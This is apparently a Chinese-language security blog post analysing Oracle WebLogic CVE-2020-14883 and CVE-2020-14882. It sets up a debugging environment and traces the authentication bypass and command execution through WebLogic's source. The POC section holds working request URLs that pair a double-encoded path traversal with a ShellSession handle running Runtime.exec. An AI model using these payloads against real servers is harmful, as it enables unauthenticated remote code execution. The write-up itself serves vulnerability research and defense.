简介

2020年Oracle Weblogic发布了包含编号为CVE-2020-14883、CVE-2020-14882漏洞的CPU。

CVE-2020-14883,通过HTTP请求绕过用户身份鉴定,对高权限的后台Console进行访问。

CVE-2020-14882,通过高权限的后台Console进行远程任意命令执行。

CVE-2020-14883和CVE-2020-14882两个编号的漏洞可以进行组合使用,CVSS 3.0达到9.8,权限绕过后完成远程任意命令执行。

影响版本

  • Weblogic 10.3.6.0.0

  • Weblogic 12.1.3.0.0

  • Weblogic 12.2.1.3.0

  • Weblogic 12.2.1.4.0

  • Weblogic 14.1.1.0.0

复现

测试环境:

  • Weblogic 12.2.1.3.0
  • JDK1.8
  • IDEA 远程DEBUG

首先安装Weblogic,接着提取全部的jar包,为了防止有的jar包重名覆盖,这里使用python添加随机数提取并重命名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# coding=utf-8

import os
import datetime
import random
from shutil import copyfile


def getuniqueNum():
for i in range(0, 10):
nowTime = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
randomNum = random.randint(0, 99999)
if randomNum <= 10:
randomNum = str(0) + str(randomNum)
uniqueNum = str(nowTime) + str(randomNum)
return uniqueNum


path = "fmw_12.2.1.3.0_wls_quick_Disk1_1of1/wls12213"
num = 0
tmp = list()
for dirpath, dirnames, filenames in os.walk(path):
for filename in filenames:
if os.path.join(dirpath, filename).endswith(".jar"):
num = num + 1
org_file = os.path.join(dirpath, filename)
dst_file = os.path.join('/Users/rai4over/Desktop/weblogic_jar',
filename.replace('.jar', '.' + getuniqueNum() + '.jar'))
print(org_file)
print(dst_file)
copyfile(org_file, dst_file)
# print(file_org)
print(num)

然后将导出的jar包目录添加导IDEA项目的LIB里面即可。

接着设置Weblogic的jdwp进行DEBUG,文件路径:

1
fmw_12.2.1.3.0_wls_quick_Disk1_1of1/wls12213/user_projects/domains/base_domain/bin/setDomainEnv.sh

修改local_debugtrue

image-20201110160715373

查看jdwp的端口号

image-20201110161318420

IDEADEBUG配置如下

image-20201110162734657

POC

1
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

更换路径的

1
http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

漏洞分析

组合拳漏洞,所以将POC分为两部分进行分析。

涉及权限绕过的部分为前面的路径:

1
http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal

涉及命令执行的部分为后面查询的参数:

1
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

权限绕过

weblogic.servlet.internal.WebAppServletContext#securedExecute

image-20201110170135369

Weblogic的请求都会经过securedExecute,跟进doSecuredExecute函数。

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

image-20201110170453729

这里会使用checkAccess对请求进行权限检查。

weblogic.servlet.security.internal.WebAppSecurity#checkAccess(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean, boolean)

image-20201110170905275

继续跟进重载的checkAccess函数。

weblogic.servlet.security.internal.WebAppSecurity#checkAccess(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, boolean, boolean, boolean)

image-20201110171450694

一个三元表达式,checkAllResources在调用时硬编码为false,此时直接调用getConstraint函数。

weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(javax.servlet.http.HttpServletRequest)

image-20201110201450918

可以也为重载调用,看到参数为getRelativeURI(req)

weblogic.servlet.security.internal.WebAppSecurity#getRelativeURI

image-20201110201705359

weblogic.servlet.internal.ServletRequestImpl#getRelativeUri

image-20201110201947695

最终参数为/css/%2E%2E%2Fconsole.portal,此时的payload经过http传输导服务器后自动解码一次了。

weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

image-20201110202433120

这里this.constraintsMap.get("")赋值的consForAllMethods类型为ServletMapping且内容为:

image-20201110202546456

这个Mapping从哪里来得呢,其实是servlet配置文件里写好的,文件位置:

1
/wls12213/wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml

image-20201110212910157

也就是说符合配置文件的URL都不需要鉴权,接着调用consForAllMethods.get(relURI),这里传入的为/css/%2E%2E%2Fconsole.portal

weblogic.servlet.utils.ServletMapping#get

image-20201110205400504

跟进父类StandardURLMappingget函数

weblogic.servlet.utils.StandardURLMapping#get

image-20201110205536331

一路跟进

weblogic.servlet.utils.StandardURLMapping#getExactOrPathMatch

image-20201110205708264

一路跟进

weblogic.utils.collections.MatchMap#match

image-20201110205641200

可以看到在Mapping里最终匹配的为/css/,并且unrestrictedtrue,最终层层返回并赋值给resourceConstraint

/Users/rai4over/Desktop/12.2.1.3.0_debug/weblogic_jar/com.oracle.weblogic.servlet.2020111012033377144.jar!/weblogic/servlet/security/internal/WebAppSecurity.class:497

image-20201110213422069

根据变量值判断进入isAuthorized函数。

weblogic.servlet.security.internal.SecurityModule#isAuthorized

image-20201110213540555

继续跟进checkAccess

weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

image-20201110223526496

请求的URL不是以/j_security_check结尾,因此进入checkUserPerm

weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm

image-20201110232753842

一路判断,然后进入hasPermission函数

weblogic.servlet.security.internal.WebAppSecurity#hasPermission

image-20201110232852717

这里cons不为null,因此开关调用isUnrestricted函数

weblogic.servlet.security.internal.ResourceConstraint#isUnrestricted

image-20201110233028085

这里其实就是判断内容为trueunrestricted,这里就不会被后台定向到登录,并最终层层向上返回true通过校验。

http://127.0.0.1:7001/console/css/%252E%252E%252Fconsole.portal即可访问后台conolse。

image-20201111145545194

命令执行

绕过权限校验之后开始请求分发

12.2.1.3.0_debug/weblogic_jar/com.oracle.weblogic.servlet.2020111012033377144.jar!/weblogic/servlet/internal/WebAppServletContext.class:1917

image-20201111112031075

参数中包含requestFacade.getServletStub(req)并跟进

weblogic.servlet.internal.ServletObjectsFacadeImpl#getServletStub

image-20201111112148631

继续跟进getServletStub函数

weblogic.servlet.internal.ServletRequestImpl#getServletStub

image-20201111112249229

最终返回sstub成员作为参数并创建ServletStubImplaction,查看该action内容

image-20201111113019049

这个具体的action是怎么来的呢,同样是根据上面提到的web.xml文件获取的。

image-20201111113942076

/css/%2E%2E%2Fconsole.portal因为.portal结尾会匹配到AppManagerServlet这个servlet-name,查看具体的servlet

image-20201111121105642

会使用AsyncInitServlet,且初始化参数为MBeanUtilsInitSingleFileServlet

weblogic.servlet.AsyncInitServlet#service

image-20201111121740791

跟进到AsyncInitServlet类,查看具体内容:

image-20201111121814967

delegate成员为MBeanUtilsInitSingleFileServlet类,跟进service函数。

com.bea.netuix.servlets.manager.UIServlet#doPost

image-20201111122624749

跟进到createUIContext函数

com.bea.netuix.servlets.manager.UIServlet#createUIContext

image-20201111122753448

com.bea.netuix.servlets.manager.UIServletInternal#createUIContext

image-20201111123536514

跟进getTree函数

com.bea.netuix.servlets.manager.UIServletInternal#getTree

image-20201111123643805

可以看到这里再次进行了一次URL解码,相当于目录穿越,最终请求为/console.portal并传入processStream函数。

接着跟入一些系列的导航初始化中

com.bea.console.utils.BreadcrumbBacking#init

image-20201111142220149

从这里开始接受恶意参数,跟入findFirstHandle函数

com.bea.console.utils.BreadcrumbBacking#findFirstHandle

image-20201111143028088

此时从参数中取出恶意字符串并返回。

com.bea.console.handles.HandleFactory#getHandle

image-20201111144731715

加载com.tangosol.coherence.mvel2.sh.ShellSession类,然后传入java.lang.Runtime.getRuntime().exec('calc.exe');""作为参数并实例化,完成远程代码执行。

参考

https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

https://paper.seebug.org/1395/#cve-2020-14882